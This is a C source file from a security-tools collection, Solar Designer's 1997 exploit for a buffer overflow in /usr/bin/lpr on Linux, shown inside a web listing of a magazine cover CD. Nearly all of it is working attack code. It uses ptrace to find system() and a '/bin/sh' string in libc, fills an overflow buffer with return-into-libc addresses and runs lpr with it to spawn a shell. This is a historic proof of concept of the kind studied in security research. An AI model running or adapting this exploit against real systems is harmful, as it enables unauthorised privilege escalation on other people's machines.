home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
lpd
/
lpr.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
4KB
|
162 lines
/*
* /usr/bin/lpr buffer overflow exploit for Linux with
* non-executable stack
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#define SIZE 1200 /* Amount of data to overflow with */
#define ALIGNMENT 11 /* 0, 8, 1..3, 9..11 */
#define ADDR_MASK 0xFF000000
char buf[SIZE];
int *ptr;
int pid, pc, shell, step;
int started = 0;
jmp_buf env;
void handler()
{
started++;
}
/* SIGSEGV handler, to search in libc */
void fault()
{
if (step < 0)
{
/* Change the search direction */
longjmp(env, 1);
}
else
{
/* The search failed in both directions */
puts("\"/bin/sh\" not found, bad luck");
exit(1);
}
}
void error(char *fn)
{
perror(fn);
if (pid > 0) kill(pid, SIGKILL);
exit(1);
}
void main()
{
signal(SIGUSR1, handler);
/* Create a child process to trace */
if ((pid = fork()) < 0) error("fork");
if (!pid)
{
/* Send the parent a signal, so it starts tracing */
kill(getppid(), SIGUSR1);
/* A loop since the parent may not start tracing immediately */
while (1) system("");
}
/* Wait until the child tells us the next library call will be system() */
while (!started);
if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
/* Single step the child until it gets out of system() */
do
{
waitpid(pid, NULL, WUNTRACED);
pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
if (pc == -1) error("PTRACE_PEEKUSR");
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
}
while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
/* Single step the child until it calls system() again */
do
{
waitpid(pid, NULL, WUNTRACED);
pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
if (pc == -1) error("PTRACE_PEEKUSR");
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
}
while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
/* Kill the child, we don't need it any more */
if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
pid = 0;
printf("system() found at: %08x\n", pc);
/* Let's hope there's an extra NOP if system() is 256 byte aligned */
if (!(pc & 0xFF))
if (*(unsigned char *)--pc != 0x90) pc = 0;
/* There's no easy workaround for these (except for using another function) */
if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000))
{
puts("Zero bytes in address, bad luck");
exit(1);
}
/*
* Search for a "/bin/sh" in libc until we find a copy with no zero bytes
* in its address. To avoid specifying the actual address that libc is
* mmap()ed to we search from the address of system() in both directions
* until a SIGSEGV is generated.
*/
if (setjmp(env)) step = 1;
else step = -1;
shell = pc;
signal(SIGSEGV, fault);
do
while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
signal(SIGSEGV, SIG_DFL);
printf("\"/bin/sh\" found at: %08x\n", shell);
/*
* When returning into system() the stack should look like:
* pointer to "/bin/sh"
* return address placeholder
* stack pointer -> pointer to system()
*
* The buffer could be filled with this 12 byte pattern, but then we would
* need to try up to 12 values for the alignment. That's why a 16 byte pattern
* is used instead:
* pointer to "/bin/sh"
* pointer to "/bin/sh"
* stack pointer (case 1) -> pointer to system()
* stack pointer (case 2) -> pointer to system()
*
* Any of the two stack pointer values will do, and only up to 8 values for
* the alignment need to be tried.
*/
memset(buf, 'x', ALIGNMENT);
ptr = (int *)(buf + ALIGNMENT);
while ((char *)ptr < buf + SIZE - 4*sizeof(int))
{
*ptr++ = pc;
*ptr++ = pc;
*ptr++ = shell;
*ptr++ = shell;
}
buf[SIZE - 1] = 0;
execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
error("execl");
}